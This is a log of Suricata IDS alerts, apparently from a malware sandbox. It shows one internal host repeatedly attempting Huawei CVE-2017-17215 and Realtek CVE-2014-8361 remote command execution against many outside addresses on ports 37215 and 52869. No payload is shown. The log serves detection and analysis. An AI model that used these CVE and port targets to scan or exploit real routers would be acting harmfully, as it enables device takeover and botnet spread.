Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39858 -> 41.9.221.217:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:39544 -> 156.253.13.204:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:40840 -> 156.14.110.123:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:32812 -> 156.127.239.138:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49508 -> 156.224.241.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53156 -> 197.129.70.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52510 -> 197.1.119.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39180 -> 156.229.33.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45980 -> 156.158.210.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45050 -> 41.100.58.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32894 -> 156.133.84.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43486 -> 156.194.20.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56546 -> 197.114.69.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60000 -> 197.148.114.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40852 -> 156.23.185.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51138 -> 41.84.155.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54488 -> 156.168.134.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36422 -> 197.210.85.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54102 -> 197.180.136.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59112 -> 197.220.2.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53774 -> 41.239.87.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48102 -> 156.27.150.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37552 -> 41.19.11.27:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:47850 -> 41.246.105.206:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59158 -> 156.147.171.52:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:50506 -> 156.7.223.215:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35770 -> 41.135.95.103:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:59732 -> 197.90.172.166:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58674 -> 41.144.36.231:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:60714 -> 197.209.53.219:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49452 -> 156.116.253.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38760 -> 156.79.211.123:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37878 -> 41.190.129.96:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:32940 -> 156.110.67.129:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:50638 -> 197.16.187.112:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:48880 -> 41.55.181.248:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:46132 -> 41.9.108.55:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43890 -> 156.230.193.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53246 -> 156.226.173.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54440 -> 156.84.217.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54942 -> 41.66.163.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55702 -> 41.94.162.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47814 -> 41.79.123.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59010 -> 197.145.35.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39686 -> 197.43.141.226:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38980 -> 197.15.150.208:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35960 -> 156.105.53.222:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:50902 -> 41.58.193.17:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34876 -> 41.155.36.234:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:40648 -> 41.242.139.215:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58224 -> 156.207.162.59:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:55600 -> 156.154.202.124:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32934 -> 197.104.5.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42888 -> 41.25.128.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35716 -> 156.163.185.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58770 -> 156.45.53.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34514 -> 156.164.218.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36636 -> 197.188.53.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48188 -> 197.114.172.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56354 -> 156.190.47.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35284 -> 156.106.189.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60242 -> 156.54.194.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46336 -> 156.240.58.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41866 -> 197.116.244.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37412 -> 197.87.235.206:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38048 -> 41.125.51.58:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57834 -> 197.88.179.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40196 -> 41.87.180.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55042 -> 41.142.142.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38766 -> 197.243.46.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33504 -> 156.117.174.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43368 -> 41.88.233.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55316 -> 197.66.230.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38624 -> 41.248.158.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37230 -> 41.14.100.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43132 -> 156.76.51.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39408 -> 197.70.220.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51466 -> 41.197.101.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37546 -> 41.14.94.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60512 -> 197.248.190.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60590 -> 197.7.248.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57474 -> 156.78.251.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36358 -> 197.72.196.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54084 -> 197.127.179.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42400 -> 156.147.180.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34398 -> 156.75.28.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47944 -> 41.11.147.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39766 -> 156.2.173.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34512 -> 197.135.14.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47268 -> 197.207.158.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40772 -> 197.173.64.197:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34302 -> 41.111.239.70:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49978 -> 156.163.181.74:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:54450 -> 41.83.53.83:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36486 -> 41.123.37.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49888 -> 41.93.164.185:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58662 -> 41.55.202.110:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57588 -> 41.122.41.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48462 -> 156.0.23.114:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:36036 -> 41.203.113.129:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58710 -> 156.105.101.171:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38466 -> 156.227.142.233:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:50296 -> 197.24.113.231:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44710 -> 156.130.197.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34212 -> 156.207.67.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40430 -> 41.66.112.232:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45820 -> 156.242.247.20:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50612 -> 156.214.249.246:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38330 -> 41.225.66.130:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57720 -> 156.110.93.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51790 -> 156.232.72.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60676 -> 156.9.180.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42822 -> 41.145.96.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41920 -> 41.3.18.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42426 -> 197.48.65.121:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:41862 -> 156.115.25.114:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:36870 -> 156.45.7.170:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:33476 -> 41.62.2.151:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:52650 -> 41.201.161.5:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:49990 -> 197.161.238.36:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56476 -> 156.221.15.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50662 -> 197.16.39.107:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:33636 -> 41.252.216.54:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42330 -> 41.55.178.199:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45866 -> 197.146.209.131:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39000 -> 41.155.222.85:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43498 -> 156.206.72.202:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37650 -> 41.109.81.45:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45266 -> 156.17.225.42:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:42034 -> 197.52.188.131:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:49488 -> 41.161.128.201:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:57454 -> 197.44.216.232:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:59446 -> 156.117.131.39:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:54442 -> 41.21.86.64:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43910 -> 156.131.182.238:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37870 -> 41.62.97.137:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:36056 -> 156.128.213.240:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37842 -> 41.241.119.223:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45340 -> 197.144.150.75:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:47118 -> 197.158.14.52:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58582 -> 156.58.217.31:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:56332 -> 41.81.128.144:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37170 -> 41.201.115.28:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:47806 -> 197.186.219.159:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:54582 -> 197.180.200.54:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:40272 -> 41.172.40.218:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45916 -> 156.51.128.212:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:57370 -> 41.102.205.55:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:44814 -> 156.155.239.208:52869
